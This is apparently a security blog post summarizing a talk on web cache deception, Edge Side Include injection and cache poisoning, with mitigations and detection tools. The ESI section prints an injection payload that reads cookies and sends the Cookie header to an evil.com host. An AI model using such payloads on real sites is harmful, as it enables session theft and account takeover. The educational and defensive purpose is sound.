• tl;dr sec
  • Posts
  • Cache Me If You Can: Messing with Web Caching

Cache Me If You Can: Messing with Web Caching

In this talk, Louis covers 3 web cache related attacks: cache deception, edge side includes, and cache poisoning.

Louis Dion-Marcil, Information Security Analyst, Mandiant twitter, linkedin
abstract slides video

In this talk, Louis covers 3 web cache related attacks: cache deception, edge side includes, and cache poisoning.

Note: this was an awesomely dense, technical talk. I won’t cover all of the details here, I encourage you to check out the video and slides if you want the full details.

Cache Deception

Web cache deception abuses URL-based caching mechanisms by tricking users’ browser into requesting URLs that will have their sensitive info cached. The attacker can then obtain the cached content.

Web cache deception was originally published in 2017 by Omer Gil and demonstrated against PayPal.

Impact: Depends on the context, but some examples include stealing security questions, CSRF tokens, or really any sensitive data (like on an admin panel).

By appending /a.jpg to the URL we’re causing it to be cached

An example 2-stage attack to 1) steal CSRF tokens and then 2) use it

Conditions: Web cache deception can occur when the application server does not include an ending match delimiter, such as the following Django example:

urlpatterns = [
  url(r'^/profile/security-questions', views.questions, ...),
  # NOTE: there is no matching delimiter, any trailing 
  # text will match
]

# This is the fix
urlpatterns = [
  url(r'^/profile/security-questions$', views.questions, ...),
  # The $ matches end of the path string
]

Mitigations:

  • Your app should not return “200 OK” to garbage requests.

  • The cache server should not ignore caching headers.

  • Cloudflare’s solution: the filetype must match the response Content-Type header.

There’s a Burp extension by TrustWave Web Cache Deception Scanner that can test for these vulnerabilities.

Edge Side Include Injection (ESII)

ESI includes allow application to control the cache: they can cache dynamic files, invalidate cache entries, and make decisions based on the user’s state.

The end user sees a single HTTP response, but the cache server may see multiple fragments, some static, some dynamic

<html>
  ...
  <i>Monday</i>
  <esi:include src="http://api.local/Montreal/Monday" />
  ...
</html>

When the cache server fetches a file for a user, it sees the XML tags in the response and parses them.

ESI variables refer to variables about metadata about the current HTTP transaction.

<!-- Access 'PHPSESSID' cookie -->
<esi:vars>$(HTTP_COOKIE{PHPSESSID})</esi:vars> 

<!-- Exfiltate 'Cookie' header -->
<img name="evil.com/<esi:vars>
          $(HTTP_HEADER{Cookie})
  </esi:vars>">

Impact: ESII can steal cookies (even those with the HTTPOnly flag) and headers, likely enabling an attacker to do full account takeovers. It can also be used for SSRF, defacing, header injection, and in the right context even RCE.

Louis walks through an example of examining Oracle’s Web Cache 11g.

Detection: You can use tools like the Burp Active Scan++ or Upload Scanner plugins, Acunetix, or Qualys.

Mitigation: You can encode HTML entities, but overall the fix can be tricky because very few ESI implementations can differentiate between a JSON and HTML response. So you may be encoding HTML entities in HTML responses, but what if an attacker puts an ESI include tag in a JSON response?

For more details, see Louis’ detailed blog post: Beyond XSS: Edge Side Include Injection.

Web Cache Poisoning

Web cache poisoning was documented in August 2018 by James Kettle in his BlackHat USA talk (blog post). It leverages unsafe/unknown usage of HTTP headers coupled with caching.

Modern caching keys cache entries using several properties, not just the path/filename, as the same path may return different content (e.g. based on requested language, encoding headers, etc.)

If the X-Forwarded-Host header overrides the content of the Host header and the Host header is used to specify the domain in the link (http://foo), then your self-XSS might get cached by the server, affecting the next user to request index.php. Thus, the web cache is your XSS delivery mechanism.

The X-Forwarded-Host header is used to tell the origin server which “Host” was requested by the client. There are tons of similar headers used by applications, and most are secret. However, you can use OSINT and brute forcing to discover them.

Impact: XSS, DoS, and more!

James Kettle’s Burp extension Param Miner can be used to identify hidden, unlinked parameters, and is particularly useful for finding web cache poisoning vulnerabilities.